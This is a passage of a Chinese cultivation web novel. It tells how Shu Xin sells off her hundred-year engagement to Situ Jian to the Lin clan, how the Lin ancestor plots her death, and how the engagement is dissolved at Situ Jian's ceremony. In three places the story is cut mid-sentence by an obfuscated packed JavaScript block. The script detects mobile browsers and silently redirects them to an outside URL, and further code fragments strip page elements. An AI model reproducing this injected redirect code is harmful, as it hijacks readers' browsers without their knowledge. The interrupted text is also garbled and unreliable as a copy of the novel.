可是,有了世家荣光,有了修行便利,又有几个人能够拒绝安逸富足的生活,去历练道心叩问道关呢? 于是,司徒间这样无依无靠天才聪颖的修士自然就是他们联姻的最好目标。 “林家在宗门里也算是历史悠久,已经有七、八百年历史了吧,不过他们家的老祖要是再一次冲击无垢境失败,他们的位置还得降一降。他寿元已经无多,自然要为子孙后代考虑。” 舒新语气轻松的评论着这些修行有成的大佬,“但宗门里的权力都把握在这些世家手里。你想要更进一步,只能选择和他们结盟,联姻是最快的办法。以前你有我这个挡箭牌,可以帮你过滤掉那些小世家,但现在,林家的价钱给的很不错。” “你想要的东西,我也只能帮到这里了。”舒新认真的说道,“我身上有很多秘密,你也有。到这里,也差不多该结束了。” “……你打算去哪里?”司徒间没有正面回答舒新的话,反而问了舒新一个问题。 “我没有想到林家给钱给的这么痛快,就算是高我一个境界的洞天真人都会动心。这么一来,我就不能再在宗门里呆了。” 舒新笑着摇摇头,“我到时候会把我的手下们转到你这里,他们跟着我这么些年,管理庶务也是一把好手。你前途大好,相信他们会很乐意和你这个老板待在一起。至于我的产业,我相信你不会贪了我的灵石,按照老规矩送给我就好了。” 鸡蛋不要放在一个篮子里,向来是舒新的口头禅。 她说的如此条理清晰,显然是早就做好了打算,有了退路,说不定退路还不止一条。 好像他和她之间的一切,都是一场明明白白清清楚楚的交易。 百年的婚约,没能在她的心里生出一点波澜。 道心坚定至此。 怪不得她能够修行的那么快。 “你什么时候走?”司徒间询问道。 “应该是你的道婴大会结束之后。”舒新眨眨眼,“我得先拿到林家给的东西之后才能走。” “他们到底给了你什么?”司徒间追问道。 “嗯?你没有听到?”舒新摸了摸鼻子,“你不是听见了么?” “你和林悠薇谈论关于我的价钱的时候,用了屏蔽偷听的术法,我没有再听。”司徒间淡淡回答道。 “你看吧,剑灵,他这是来问我要分成了。”舒新啧啧感叹,对着剑灵神识传音道,“他比百年前要老练多了,都知道要委婉了。” 【……有没有可能,他不是这个意思。】 “不是这个意思还能是什么意思?”舒新反驳道,“人为财死鸟为食亡,你还是不懂。” 【好叭。】剑灵决定沉默。 “我提供给你的这百年资源的清单,都在这里,我全部按照市场最高价的两倍给他们报了。”舒新拿出一枚玉简,玉简里记载着密密麻麻的各种记录。 如某年某月某日,她送了司徒间某某灵芝,价值多少云云。 甚至还特意做了个excel表格的形式,方便查看。 打工人打工魂,这工作技能可不能丢。 司徒间一一看过,语气不祥的说道,“你记得,还真是详细。” “那当然,做账要仔细,不然容易吃官司。”舒新十分得意,“不过你放心,有些资源的品质我给悄悄提高了,反正林家家大业大,也不会和我计较这些。这么多年这么多样资源累计起来,也是一笔不小的数字了。有了这些,就能买到我想要的那个‘指尖玄光’了。” “就只有这些么?”司徒间继续问道。 “这些还不够么?咳,当然还有。比如我的精神损失费、公关费……”舒新又拉出一个账单,“我允许他们用丹药法器抵扣,还允许她分期付款。反正你在这里,我不担心她赖账。” 司徒间神色平稳。 “你慢慢看。”舒新见司徒间一直盯着这份玉简,连忙说道,“不行的话,我再复印几份玉简给你备份留存。” “不必。”司徒间将玉简扔回给舒新,“这些资源加起来,的确很有价值。” “要不还是得去薅这些有钱人的钱呢。林家现在可惹不起什么额外的官司,能够用资源解决的,他们不会选择动手,尤其是在这种名声还不占优势的情况下动手。” 舒新对此可太了解了,毕竟这种世家,对外还是“很要脸面”,这是他们口中的“世家风骨”。 “这些其实我也可以分……”舒新虽然心痛,但是愿意主动分一点出来。 大家认识这么久了,她也可以主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658122|188311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动一点。 “这是我这么多年来的收藏。”司徒间掏出一枚储物戒指扔给舒新,“林家给了你一份赔偿,我自然不能屈居人后。既然你要走,就算是我的赔偿。” 舒新神识一扫,立刻将这枚储物戒指戴在自己的手上,刻下自己的神识烙印。 “你居然藏了这么多私房钱?”舒新倒吸一口凉气,这几乎不比林家给的少了。 司徒间,这么生财有道么? “我成为道婴之后,宗门给了不少赏赐,宗门内大大小小的弟子,都给我送了贺礼。我将一些用不着的礼物,换成了道婴境用得上的资源。剩下的,换算成了灵石。” 司徒间淡淡回答道,“在长生道宗,赚钱的办法有很多。我如今也算是核心弟子,自然不会缺少这些资源。原本还有一些……” “那些你留着就好了,这些给我已经很够了。”舒新原本是打算来割肉的,没想到还能倒赚这么多走,做人可不能贪心。 她毫不客气的朝着司徒间竖起大拇指,笑容灿烂的就像是天上的星星。 这下,她还得联系一下自己想要去的新宗门,让他们早点来接应自己才好。 那个指尖玄光,她也要到手了! 不然,她怕自己被一群洞天真人围攻。 “那我们就这么说好了,我得先去琢磨一下我的退路。”舒新生怕司徒间会反悔,现在只想赶紧先回去,将储物戒指再好好练化,再设下几十个防御阵法,免得别人来杀人夺宝的好。 还有这个每天唠叨的剑灵,也该压一压担子,负担起保护这些资粮的重任了。 “舒姐姐。”司徒间站在原地,喊出了百年前他对舒新的称呼。 匆匆百年,好似从未有过更改。 “怎么了?”舒新停下来,诧异的转过头,“你好像自从长得比我高之后,就再也没有这么喊过我了。” 明明当年,是个多么惹人恋爱的少年? 藏在死人堆里,眼睛却像湿漉漉的小鹿。 不然她哪能带着一个陌生的少年四处奔波呢? 脸蛋长得好就是很占便宜。 “没什么。”司徒间负手,神色镇静的说道,“再见。” “放心。”舒新伸出手臂摇了摇,走路带风,溜得一下就没有了身影。 司徒间回到洞府继续闭关修行。 要在宗门里爬的更高,修行更快,就不能有丝毫停止,更不容许他有片刻松懈。 等到月光都降落了下来,几个穿着内门服饰、风尘仆仆的弟子远远的一拱手,道了声“师兄,不辱使命”,才被修行中回过神的司徒间伸手一抓,直接到了他的跟前。 “司徒师兄。” “师兄,我们不负所望,总算将您要的东西带来了。” “能赶在您的大典之前回来,可真是太好了。” 几个弟子脸上闪烁着兴奋的光,忙不迭的将他们牢牢护住的东西拿出来。 为了这样东西,他们几番出生入死,耗费了司徒间给他们用于交换的一大笔资源,又借了宗门名头才能成功返回。 这是司徒间五十年前就订下的东西,耗费心血培养,前些时间终于大功告成,他们才被偷偷派遣出去将东西拿回来。 他们送上了一个镌刻了无数封印阵法的盒子,盒子里只有一颗小小的珠子。 盒子打开的瞬间,珠子陡然悬浮了起来。 珠子通体浑圆,浑身上下都散发着惊人的灵气,带着微不可察的血色,美好的就像是天上月亮的化身。 所以它有个很美的名字,叫做指尖月。 是无数指尖玄光在经过苦心培养、凝固之后才能得到的东西。 比无数剑修趋之若鹜的指尖玄光,还要更胜一筹。 最重要的是,因为它的美貌,它作为双修道侣的定情信物远比它作为修行耗材的名声更大。 正所谓“天上皓月,人间真心”,听闻宗门内两个修真世家联姻,作为聘礼送上的也不过就是一颗米粒大的指尖月。 而这颗,足足有指甲盖大小! “师兄,这颗指尖月有了您的心血,只会比一般的指尖月更加纯粹。”几个弟子们努力压制自己内心的贪婪,因为他们比谁都知道这位看起来光风霁月的师兄,手段有多厉害。 “是啊,指尖月不能火烧、不能水浸、不能风吹、不能雨打、不能土埋,只有藏在这阵法盒子里,才能成功保存。也幸好师兄您阵法造诣惊人,掩藏了这颗指尖月的灵气,不然我们几个还真不一定能安全回来。”弟子们对司徒间大肆吹捧。 司徒间捏过这颗指尖月,脸上难得露出了一丝微笑。 他不常笑,百年里见过他笑容寥寥无几。 一时间,宛如冬天的雪山上开了一簇淡黄色的迎春花,刹那间冰消雪融,无数美好的意象都将喷涌而出。 比指尖月更加迷人。 “的确是珍贵又易碎的指尖月。”司徒间细细端详了它许久,不由发出感叹。 “是啊,师兄,到时候您自用或者是送人……”弟子们正要继续吹捧,却见司徒间手上一松,这颗指尖月瞬间落地。 越是珍贵、越是难得的东西,就越是容易破碎,它们都只会如流星划过,留下只光片羽的少许记忆。 在接触到土地的瞬间,指尖月陡然破碎,化为星星点点的玄光,飘散在空气之中。 “师兄。” “师兄!” “莫非这颗指尖月是假的?”几个弟子瞪大眼睛,心痛的直接跪倒在地,想要去捞这瞬间消散的指尖月。 但司徒间只是静静看着,却不见有任何行动。 “东西是真的不假。”司徒间一挥袍袖,将几个弟子送出自己的洞府,“你们事情办完了,回去吧。” 几个弟子面面相觑,完全摸不着头脑。 司徒间只是回到自己的洞府之中继续修炼。 4.第 4 章 飞霞洞天,林家。 林悠薇径直朝着林家老祖所在的方向飞去,半点也没有给自己族里这些兄弟姐妹们好脸色。 “三堂姐还真有本事,这么快就要拿下司徒间了。” “听说还被舒新当众表达爱慕之意,哈哈。” “我看那司徒间也是狼子野心,堂姐可不要终日打雁反被雁啄了眼。” …… 家族里,阴阳怪气、落井下石者比比皆是。在宗门内或许还要彼此装腔作势一番,可若是在家族里却从没有什么兄友弟恭姐妹和气之说。 林家子嗣繁多,资源却不多。 若是资质不佳、运道不好,或者不得家中长辈喜爱,早早的就要为联姻做准备,成为一颗随时会被家族牺牲的棋子。唯一的作用,就是如凡间那些只知繁衍的种猪种马,以消耗自身修为为代价诞下更加优秀的子嗣。 凡人以子嗣为贵,可任何东西一旦多了,都会变得廉价。 所谓的修真世家,更是如烈狱一般的地方。 “林家第三十五代孙女,林悠薇见过老祖。”林悠薇已经检视过自身,确定没有失礼之处,才小心翼翼的跪下,恭恭敬敬的行礼,不敢有丝毫抬头。 修士们都知道,面对高阶修士,宁愿礼数样样周全挑不出错,也比他们一个念头不通达随手将你打杀来得好。 “你就是林悠薇?你该知道为何来此?”林家老祖坐在极高极远的地方,但是声音却清晰可闻。 “正是不肖子孙林悠薇。”林悠薇从未见过老祖真容,她平时见的多一点的,也是其他一些祖宗,“老祖亲自召唤,想来也只有司徒间一事了。老祖容禀,司徒间无论是资质、出身、心性和年龄均是上上之选。如今他已经成就道婴,改日必定为我林家增加一名无垢境天君。” “哦?那司徒间之前的婚约你是如何处理的?”林家老祖没有顺着林悠薇的话答下去,反而继续问道。 “孙女已经和那女子谈好,付给她一笔不小的资源,她自愿解除婚约,且自污声名,不会对我林家名声造成损害。”林悠薇伏地不起。 “愚蠢!”林家老祖的声音喝下。 林悠薇身体一软,趴倒在地,吐了好几口血才艰难的用手臂重新支撑身子。 “不知老祖为何发怒?还请示下。” “凡事,要么不做,要么做绝。”林家老祖声音冷厉,“他们百年婚约,又是一起进入宗门,恐怕早已生死相许。如今不过是故意做局,退让一二,焉知他们日后在林家不会出现夺权之事?忍一时之辱,不过是图谋远大。你既然做了横刀夺爱之事,便该彻底消除隐患。” “老,老祖,那女子也罪不至死。”林悠薇还是忍不住辩驳了一句,“她已答应解除婚约,何必赶尽杀绝?再者,她若死了,宗门若是严查,查到我们林家,恐怕……” “妇人之仁。”林家老祖嗤笑道,“你只需在给那女子的资源里增加一样宝物,引得宗门其他人对其出手即可。事后,我们林家为其报仇,丧事办的隆重些便是。如此一来,司徒间才会真正归心。” “那,若是她能不死呢?” “若是她真能不死,可见她未来必有所成就,那你就要在关键时刻施以援手让她欠下因果。若是所有事情败露,你自尽不要拖累林家就是。”老祖三言两语之间,已经定下了她的未来。 林悠薇心中愤恨。 老祖这分明就是将她当棋子,完全不在乎她的死活。 若是舒新死去,林家为其报仇,司徒间以后想要背叛林家也要掂量一下道义名声。 若是舒新不死,林家就要趁机施恩,将她也收入囊中。一切败露的话,坏处也全是她林悠薇一个人担,好处全是林家的。 “怎么,你不服?”林家老祖质问道。 “能为家族奉献,是孙女之幸。”林悠薇压下心中怒火,却不敢表露分毫。老祖不会在意一个没有利用价值的子嗣死活,她却不敢赌。 “下去吧。”林家老祖将林悠薇送出了自己的地界。 林悠薇一晃眼,已经出现在林家的演武场里。 里面,有许许多多林家的小孩正在奋力修行,他们看向林悠薇的眼神里都充满了向往。 即使是林家,也只有出众的子弟能够拜入宗门,拥有那小小的“自由”和“未来”。 她是别人眼中的成功者,却也只是老祖们眼里微小的蝼蚁。 林悠薇静静的看了这些孩子们许久,还是捏碎了想要传信给舒新的想法。 她们本就是敌人,她若不死,死的就只能是自己了。 舒新洞府外。 “舒长老。” “长老。” 舒新的几个长老们在某洞府内停留了许久,经过了一场激烈的唇枪舌剑之后,他们总算达成了一致意见。 而他们争论的主题,则是“到底应该送长老男子喜欢的东西好”还是“送女子喜欢的东西好”? 没办法,关于舒新的性别问题,如今已经长生道宗最火的话题,要是不清楚来龙去脉的修士,连插嘴发表意见的份儿都没有。 甚至,这个话题度远超俗套的“两女争一夫”“世家女子横刀夺爱草根少女”之类的故事。 但手下们很快就被其他事情吸走了注意力,因为舒新从司徒间的洞府出来之后,就传音告诉他们接下来的去处,他们及身后的家族都要转到司徒间那边,从此他们都要专心致志的给司徒间办事。而她,将会在道婴大会上和司徒间解除婚约,他们如果不愿意投靠司徒间,就要早做打算。 这样的举动,无疑让这些手下们更加感动。 他们也能猜的出来,舒新和司徒间解除婚约之后多半是要离开宗门去避风头的。而舒新在离开之前,还能给他们找到司徒间这样好的下家,无疑是用了心的。就算舒新再也不管他们,他们也没有任何话说。 因此,他们商量了一下,各自凑了一部分灵石,又回头找家族各种敲打一番,凑了一笔不菲的灵石出来,打算给舒新送一件礼物。 只是这个礼物,他们想来想去还是决定送舒新一直想要的指尖玄光。 虽然他们能够买的部分不多,但多少也是心意。 不管舒新是男是女,碰见她这么好的东家,实在是三生有幸。 舒新没想到这几个长老还能想着给她送礼物,只是勉励了他们一番,又说了一些场面话之后就将他们送走,指尖玄光自然是收了下来。 “指尖玄光已经凑够不少,关键时候,应该也能将你短暂恢复成原本的样子用以自保吧。”舒新对着剑灵询问道。 她这一次要离开长生道宗,是做了不少准备的,但也要考虑到意外情况。关键时候,剑灵能发挥多少威力,就会极大的影响她的计划。 剑灵看着舒新凑的这一堆指尖玄光,唉声叹气道,【就这些,勉强将我的剑身拼凑在一起,能发挥出原本十分之一的威力就不错了。持续时间,大概就三息,只够你挥一剑的。】 “你是什么吞金兽么?我大半身家买了这些指尖玄光,只够挥一剑?”舒新倒吸了一口凉气,而且还只能发挥这么一点威力,这要什么大门大派才能养得起! 如果你当初没有将我锻造成两把剑,哪里会这么麻烦? 剑灵内心腹诽,却还是不死心的蛊惑道,【要不你再想办法将我彻底炼化,我全力配合,彻底让我重合成一把剑,如何?】 “那不行。”舒新毫不犹豫的拒绝,“你要是彻底恢复成原本的剑,这世界上仅有的那几个陆地神仙都要来追杀我,我又不傻。” 自己的剑可以成为自己的外挂,但绝对不能给自己带来风险。 保住命比什么都重要,灵石总是能赚到的。 【那你给我换个名字如何,等等和且慢也太恶心人了,换成清风和明月如何?】 “那不行。”舒新主打一个句句有回应,样样没着落,反正就是不接茬,反而还给剑灵画饼,“你也知道我已经联系了问神宗,等到司徒间的道婴大会结束之后,他们就会引渡我去他们宗门。长生道宗昔日也抢过他们宗门的弟子,他们不过是有样学样,长生道宗还不至于为了我和他们翻脸。” 【一个破落门派,只剩下虚名了,长生道宗要脸,自然会放了你。可那种地方灵气全无,去了又能如何?】 别以为剑灵就不懂事了,当年问神宗也算是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667131|188311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和长生道宗并肩的宗门,却因为种种原因没落。到了问神宗的上一代,先掌门好不容易收了两个出类拔萃的弟子有望振兴宗门,只是来长生道宗赴个宴会而已,一个弟子就被长生道宗的世家拐去入赘了。问神宗自然不肯,长生道宗却也不愿意放弃这样的好苗子,更加不愿意看着昔日的老对头崛起,只说人家是天作之合不忍心拆散,以后只要长生道宗的弟子愿意,也大可去问神宗云云。 问神宗先掌门怒急攻心,用所有资源都堆在了剩下的那一名弟子身上,那一名弟子也不负众望,短短时间内就成为无垢境修士接任掌门职位,据说如今要冲击大乘境界,引来不少散修不远万里前来拜师。只是这位掌门一心修行,眼光也颇高,只肯挑那资质特别好的弟子。 但现实问题很快就来了,之前问神宗的资源都耗费在这位掌门身上了,哪里还有多余的给其他弟子? 于是,当舒新说出给“十万灵石的拜师费”的时候,问神宗掌门迫于现实压力,只能答应舒新的要求。 这就是“有钱能使鬼推磨”。 “这就是你不懂了,要的就是这种不管事但是还能借用名声的宗门。”舒新笑道,“这么一来,我就可以带着你随意出入修真界各个魔窟,只要清洗掉你身上的仙人之血,你就不会再被陆地神仙注视,到时候你还担心什么?” 【……说得好听,暂且一看吧。】剑灵还是动心了。 舒新笑了笑,“接下来就要看长生道宗和林家怎么出招了。我还真希望林家聪明一点,这才我还能多赚一点。” 【林家不是和你谈好了么?】剑灵懵逼。 “剑灵,我还是那句老话,你不懂人族,尤其是那些从来不把下面的人当人,自私自利偏偏又能爬的很高的人的想法。我对林悠薇客气,不过是因为她还年轻,还没有真正体会过视人命如草芥的滋味。”舒新缓缓说道,“修真界的这些世家,是集封建皇权与资本于一身的怪物,他们若真看上了司徒间,只会将他身边所有的不利因素都清除掉。同时还要假惺惺的当好人,恨不得吸尽你的每一滴骨髓。” 多少世家就是因为斩草不除根而败落?他们不会放任自己轻轻松松带着大笔资源离开的。 司徒间和他们结盟,自然是与虎谋皮。 可也只有这样的怪物,才能去对付站在世家之上更加恐怖的怪物。 “对付这样的怪物,就只能狠狠的打疼它们,想要息事宁人是不可能的,真理只在炮弹的射程之内。”舒新笑了笑,“问神宗的十万拜师费,我也想要林家给我出啊。” 剑灵不知道林家有多厉害,但是它知道舒新这家伙黑心的没边。 如果林家真把她当成一个小小的道婴期修士,那肯定是要栽个大跟头的。 舒新和司徒间像是约定好的一样,默契都在洞府里修行,不出门,也不去做任何事情,只是默默的等待着道婴大会的到来。 长生道宗的弟子们也在熟门熟路的操办这一场宴会。 宗门核心弟子的道婴大会,也会请一些其他宗门的弟子和长老参加,互相交换一些信息,推荐一下自家弟子之类的。说白了,就是长生道宗给了司徒间一张通往更上层的门票而已。这种宴会,长生道宗每年都要举行好几次,早已经轻车熟路。 “道友,我这里有一张更靠前些的座位,可以看见那个舒新,要不要?” “舒新你都不知道,她是司徒间的未婚妻,听说这一次要在道婴大会上和司徒间解除婚约,这可是看好戏的最佳位置。” “不贵不贵,一千灵石,这个位置就是你的了。” “一千灵石哪里贵了?一直就是这个价钱,你想想是不是你不够努力?” “我这里还有紧挨着林悠薇的位置票。” “不看八卦?那我这里还有挨着灵气末端位置的票,灵气肯定比一般的座位浓!” …… 道婴大会还没有开始,各路黄牛,不,应该说是舒新手下的黄牛党已经开始大肆倒卖座位票了。 不过舒新他们还囤了一些核心座位票,暂时还没有卖。 东家说了,到时候还有一场大戏开演,到时候这些座位票能卖的更贵! 5.第 5 章 来参加司徒间道婴大会的门派和修士比以往的水准要高一些。 这也正常。 同样是成就道婴,年纪、资质、前途都是不一样的。像司徒间这种一百年成功的,和别人那七八百年才能成功的能一样么? 眼下司徒间只是一个道婴,可是来日就不好说了。 想要和一个强者交好,就得在强者还是弱者的时候提前下注。 因此,不少门派都派遣了核心弟子和颇为能干的长老带队前来。 不过,更加引人瞩目的,还是问神宗一行人了。 “师姐,他们好像都在看我们了。” “别说话,没看见师兄都没说话么?” “一切听掌门师父的。” …… 问神宗掌门面相看起来也不过二十五六岁,只是眼神冷漠,看起来有一种出尘若外的疏离感,对跟在自己身后的徒弟也不甚关心。而跟在他后面的五个徒弟,看起来不过都是些十几岁的少年少女,实际上最差的一个都已经叩问道心成功,凝丹成功了。只是他们身上穿的带的,着实不像是一个年轻凝丹修士的样子,看着比一些散修还要寒酸些。 同样观礼的宾客们互相对视了几样,内心已经蛐蛐了不少,但却没有直接说出口的。 问神宗就算再没落,他们掌门许观却是天纵奇才,年纪轻轻就已经是无垢境界的天君了,在观礼的宾客之中,修为不算第一第二也是稳居前三,谁会在这个时候触霉头? “见过许掌门。” 长生道宗的弟子们对这位昔日敌对门派的掌门也是早有耳闻,知道自己得罪不起,也赶紧上前招待。 “徒儿,贺礼送上。”许掌门吩咐道。 “是。”紧跟在许掌门身后的一个年轻温和的男人奉上贺礼,“这是我们问神宗恭贺司徒道君的贺礼,还请收下。” 负责收礼唱词的弟子接过这个贺礼,差点维持不住八面玲珑的人设,手一哆嗦眼看着就要将贺礼给扔出去。 关键时候,一只手按住了贺礼。 “许掌门真是大手笔。贺礼里是魔修曾骨的头颅,这个洞天境魔修残害我长生道宗不少弟子,我们发了悬赏令已有七年,没想到在这里收到了。” 来者言笑晏晏,没有半点担忧,不是舒新又是谁? 她笑眯眯的看着这位未来的便宜师父,想着自己这位师父长得倒是还行,就是为人不太好评价。 舒新也是和这位问神宗掌门第一次见面,之前也不过就是利用书信或者其他方法传讯而已。 毕竟这位许掌门常年闭关,修为又高,哪里是舒新想见就能见的?不过既然他们已经商量好了,自然要来见见的。 “收下吧。”舒新吩咐了弟子一声,又拱手笑道,“问神宗大驾光临,还请这边走。” 许观静静看了舒新一眼,又看了看舒新别在腰间的两把剑,说道,“你不适合做剑修。剑修讲究一往无前,你眉宇间毫无此意。长此以往,不过浪费你的天资罢了。” 这话说的很不客气,和挑衅也没有什么两样。 长生道宗的其他弟子们已经去叫人了,也有去喊司徒间这个宴会主人的。 不过许观的弟子们倒是十分诧异,能够让掌门师父说这么长的话,可见这位长生道宗的外门长老是真的很不错了。 他们跟着掌门师父来到长生道宗,一路上也见到了不少其他门派的弟子,说实话,看起来都不如他们师兄弟。 不过即使这样,他们掌门师父也觉得他们还不够格。 没想到眼前这个看着左右逢源的长生道宗外门长老倒是让师父刮目相看了。 “我一直知道我只会是个三流的剑修。”舒新微微挑眉,半点也不介意,人家说的是实话她又有什么好介意的? 舒新自己就和剑灵调侃过,剑灵认她为主可真是瞎了眼了,也真是不挑。 她纵然天资不错,但也只会是三流的剑修、二流的法修、却是一流的魔修。 可惜她还是过不了心里那种视人命如草芥的坎,只能当个正道修士了。 有自知之明到这个地步,剑灵都懒得吐槽她了。 许观看了坦然自若的舒新一眼,没有再多说什么。 他们问神宗和舒新之间也不过是正常交易关系,只要先将舒新带到问神宗,拿下她的拜师费,解了问神宗目前燃眉之急,之后舒新爱去哪去哪,过几十年她就会自动脱离宗门,不会给问神宗带来丝毫损失。又能给长生道宗一个好看,又能赚灵石,何乐而不为呢? 许掌门的几个弟子还有偷偷打量舒新的,舒新也不介意。 没关系,这些都是未来的同事,打好关系也不错嘛。 舒新亲自引了许观去差不多最好的位置落座,又让弟子们送来不少灵果点心,可以说在自己的权责范围内让这些便宜师父师弟师妹们享受了一把便利。 事毕舒新也没有多停留,免得引人怀疑。 她严格的遵守着自己外门长老的职责,也顺便捞最后一笔。 【那个林家的女人一直盯着你许久了,你不打算上去看看?】剑灵忍了许久才询问道,【林家到底会怎么动手?你心里有数了没有?】 “没有。”舒新毫不犹豫的回答道,“我知道他们肯定要对我动手,但我不知道他们会用什么办法,又蠢又毒的家伙会怎么做我想破脑袋也想不出来。我又不是神,我能做好防范就行。” 【那你之前说的那么胸有成竹?】 “我这不是还有你么?”舒新笑道,“有你在,还有这位许掌门在,保我一条命总是没问题的。只要我还活着,总能连本带利找回场子。” 就只会在用得上我的时候说些好听的,剑灵没招了。 它也在想自己到底在挑选主人的时候出现了什么问题? 没记错的话,它作为这个世间最牛逼的仙剑,能被它选定的主人都是有大气运、大毅力、能够更改世界的人才对。 眼前这个到底是个什么东西? 等到宾客差不多落座完毕,舒新作为司徒间的未婚妻,也坐在了上位。 巧合的是,林家林悠薇的座位正好就在舒新的下手边,也不知道谁将她们两个排在一起? 不少特意花了灵石换位置的修士都觉得自己赚大了,有好戏看了。 还能是谁? 当然是舒新自己。 为了卖票,她亲自将林悠薇的座位放在了和自己一起。 “林师妹,东西你都准备好了吧?”舒新借着喝酒的间隙,侧过头去询问旁边有些心神不宁的林悠薇。 “准备好了。老祖说是我们林家对不起你,所以还多给了你一些。”林悠薇艰难的说道,她最多也只能提示到这里了,能不能听出来就是舒新自己的事情了。 “真大方啊,没事,等会儿我就和司徒间解除婚约,收钱办事,你放心。”舒新毫不在意的说道。 林悠薇闷头喝了几口酒,不想理她。 不多时,司徒间就换上了长生道宗核心弟子特有的服饰走了出来。 长生道宗信奉的是万古长生,加上宗门又有一名陆地神仙坐镇,因此宗门弟子的服饰往往采用“椿”作为意象,弟子服饰多为绿色。普通外门弟子,衣袍上有几片树叶就差不多了,随着级别上升,服饰身上会多出一些树叶、枝丫甚至树干等等。 司徒间身上的法袍比正常的道婴弟子法袍还要多出几抹枝干,虽然不易分辨,但是在有心人的眼中,无疑可以窥见长生道宗对司徒间的看重。 许观的眼睛也亮了一下。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672072|188311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 此子的根骨资质,实乃生平仅见。 怪不得长生道宗如此看重。 【切,天分好资质好有什么了不起?死在我手里的那些仙人哪一个不是横断古今力压当世的天才?】剑灵酸了一句,又转头去鞭策舒新,【你以后也要办一个宴会,气死他们。】 “办这么几个宴会圈钱倒是不错。”舒新摸了摸下巴,“我怎么忘记了这茬?最赚钱的不就是收份子钱。以后我进阶了就办一个宴会、过生日了就办一个、心情好也办一个,一定能财源滚滚来。” 脸皮厚点就行,到时候宾客不愿意来也没有关系,礼物到了就行。 妈的这厮油盐不进,她怎么这么苟? 剑灵快要气死。 “多谢诸位赏光,在下侥幸在宗门帮助下成就道婴,也有少许心得……” 一般的道婴修士在这种宴会上少不得要先互相吹捧几番,再开始说自己的心得,和诸位同道宾客交流修炼心得,这也是稳固修为的一种,也好让其他宾客见识自己的实力,彰显宗门的底蕴等等。 不过司徒间却跳过了这些虚头巴脑,上来就整干货。 从头到尾,他的视线始终望着全场,不曾偏过一分。 林悠薇再三确定,司徒间和舒新两个人是真的没有什么感情。 司徒间说的修行道理深入浅出,却又有自己的独特见解,可见他能够在这么短时间内修行有成,是绝对有几把刷子。 许观看着司徒间的眼睛越来越亮,想来要是可以选,他不知道多期待和他做交易的是司徒间,而不是司徒间的未婚妻。 等到司徒间说到一半,正准备说下一段的时候,舒新却直接站了起来,“还请诸位道友稍待,我和司徒有话要说。” 司徒间被打断却不恼,只是不慌不忙的说道,“若是不急,等结束后再说也不迟。” “那还是有些急。”舒新刚才,已经得到了林悠薇送来的部分资源,储物袋刚递到她手里。 她发现林家送来的这些资源里,除了之前约定好的那些之外,还多出了一方印章。 这印章看起来平平无奇,甚至有些普通,要是不注意看还真的认不出来。 但舒新早就将那些珍贵的法宝记了个滚瓜烂熟,就是想要哪一天可以“捡漏”,加上在剑灵的绝对威慑之下,任何品级低于剑灵的法宝都会在它面前露出真正的面目。 因此这个伪装过后的印章轻而易举的就被舒新看出了真面目。 五方山水印。 林家收藏的众多法宝之一,据说能够在洞天真人历劫冲击无垢境界之时为之抵抗雷劫。哪怕只有一分,也绝对是洞天真人,尤其是那些寿元无多,只能借助于外力突破的洞天真人们梦寐以求的宝贝。 就这么小小的一方印,就够舒新死个十来次还不带拐弯的。 真有钱啊。 真该死啊! 哪怕舒新自认已经不算是个穷人,但此刻多少也起了一些劫富济贫的心。 劫林家的富,济自己的贫。 林家这是想要借刀杀人? 甚至还打算做身后黄雀? 这么珍贵的东西,除非他们认定迟早能够拿回来,不然绝对不可能将它送给一个小小的自己。 有意思。 林家都给搭上了这样好的台,要是舒新还拖来拖去,就太对不起这些等待着的观众了。 “说来惭愧,我与司徒间相识百年,这些年来亦师亦友,如家人一般。只是仙途漫漫,两人结为道侣之事需慎之又慎。当年我两年少无知,不知如今仙途迥异。百年婚约,我与司徒间也是知心好友,我亦不愿耽误他道途。因此,还请在场诸位做个见证,我与司徒间的婚约取消,以后以同门好友相处。皇天后土,皆为此证。” 6.第 6 章 舒新话一说完,周围的修士脸色都有些诡异。 倒也不是说别的,而是在舒新说完解除婚约的事情之后,就有人在神识传音同步分享舒新之前和林悠薇说的那段话。 就是原本是男人的那一段。 传音没有加密,连问神宗的许观都听见了这些神识传音。 男变女什么的,还是有点挑战这些正经修士的思维常识了。 “大概就是这样。”舒新看见他们的微妙表情就知道他们在想什么,她也乐得大家将关注点转移到其他事情上。 反正,她在修真界也不是什么名人,这个消息撑死也就是在长生道宗内部传一传,出了宗门谁认识她是谁啊? “咳,司徒道君,这件事毕竟是你们二人的事情,不知道您是什么想法?”总算有人打破了沉默,询问在旁边默不作声的司徒间。 “舒新说的是我们一起商量的。”司徒间平心静气的回答道,“我们依旧是道友、也是同门,只是取消了婚约关系而已。” 